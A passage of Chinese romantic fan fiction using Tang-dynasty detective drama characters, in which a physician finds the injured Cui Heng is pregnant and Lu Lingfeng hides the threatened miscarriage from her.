崔蘅这才想起来,除了她,卢凌风身上也有伤,也是需要治疗的。于是急忙喊了飞洛进来,让他去将人请。飞洛原本就有些自责,又被卢凌风骂了一顿,现在整个人都蔫蔫的。他们回来路上倒是遇见了武奇,也顺道把他带回来了,武奇伤得有点重,腿摔断了,身上还有几处刀伤,飞洛一见在场的几个人里面,只有他毫发无损,更难受了,现在听到崔蘅有事吩咐他,立刻马不停蹄往司马府而去。 费鸡师原本醉酒睡觉,飞洛好不容易有机会为崔蘅做事,怎么可能任由他睡觉,连请郎中这种小事都做不好的话,他就真如卢凌风所说,是个废物了。于是根本不顾是否合乎礼数,直接冲过去扛起费鸡师就往外冲。费鸡师一下子就醒酒了,吓得吱哇乱叫,但是如今这司马府中卢凌风不在,剩下的人拦不住。不过苏无名是认识飞洛的,知道他是崔蘅的人,觉得他也不会把费鸡师如何,便如此半推半就,让他将人扛了回来。 “小姐!郎中请回来了!” 飞洛气喘吁吁地把费鸡师栽在椅子里,抬手抹着额上的汗,也不等崔蘅询问,便将一切和盘托出:“我去的时候郎中正在醉酒,属下只好把他驮回来。” 费鸡师坐在椅子里捂着老腰哎呦哎呦地叫:“你这后生,真是无礼!我这把老骨头都要被你颠散了!” 崔蘅忍不住笑了下,强撑着想坐起身,卢凌风见她这样, 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刚才沐浴的时候裤子上只有很少的一点血迹,应该是例假前兆,崔蘅还在庆幸,还好她没在外面血崩,不然可丢死人了。 费鸡师按着她的手摸了半晌,脸色越来越古怪,卢凌风已经忍不住了,道:“到底如何,你倒是说话啊!” 费鸡师立刻朝卢凌风翻个白眼:“如何!你自己难道不知如何?!” 卢凌风被他说得一头雾水,崔蘅更担忧地看着费鸡师:“神医,但说无妨。” 费鸡师换了副笑脸:“没事,没事,不用担心,你啊,就好好躺着,先休养。卢凌风你跟我出来!” 崔蘅见费鸡师带着卢凌风离开,脑子里都开始嗡嗡了,这是什么情况,一副自己得了绝症的样子——得绝症的人就是这样啊!医生会把亲友叫出去单独说话,救命啊,她难道不只是痛经而已吗??? “什么?!动了……!” “嘘——!!!” 费鸡师急忙竖起一根手指抵着嘴唇,一脸完蛋地看着卢凌风,他压低声音:“你你你……你小点声,被别人听到,崔小姐还要不要名声了?!” 他说完,见卢凌风表情都僵住了,不由眯起眼睛:“卢凌风,你这个反应是什么意思,你不会是那种敢做不敢认的人吧?难道不是你干的好事?反正我是说不出口的,这事你自己去说吧。” 卢凌风愣了半晌,道:“你先开药……” 费鸡师结结巴巴道:“开、开什么药……” 卢凌风咬牙切齿道:“当然是保胎的药,还能是什么!她昨天又是摔马又是被追杀,遭了大罪。” 费鸡师不由捶手:“我就说嘛,胎像这么差。前三个月本来就很容易胎像不稳,如今已有滑胎之相,我也没把握保得住。” 卢凌风第一次听费鸡师说“没把握”三个字,竟然是在这种情况之下,他瞬间觉得有些腿软。卢凌风做金吾卫中郎将这么久,如今又做捕贼官,面对过无数穷凶极恶的歹徒,可从来没腿软过。但他现在真腿软,不是形容词的那种腿软,他得偷偷用手捏着桌沿才能站的住。 卢凌风见费鸡师要走,一把抓住他的肩膀道:“千万别让她知道,你只说……是补身体的药。” 费鸡师不解道:“这是为何?” 卢凌风犹豫半晌,最终只是摇摇头:“听我的就是了,快去开药吧。” 崔蘅不止一次说过,她中寒毒这么多年,想来是不会怀上孩子的,将来若他想分开也是可以的。卢凌风向来知道崔蘅说话不好听,也知道她是在用这种方式让他做选择,他早就默认了这件事,但是谁知道会变成现在这种情况呢。 这个孩子若能保住还好,若没保住……告诉了她,她岂不是要伤心死了。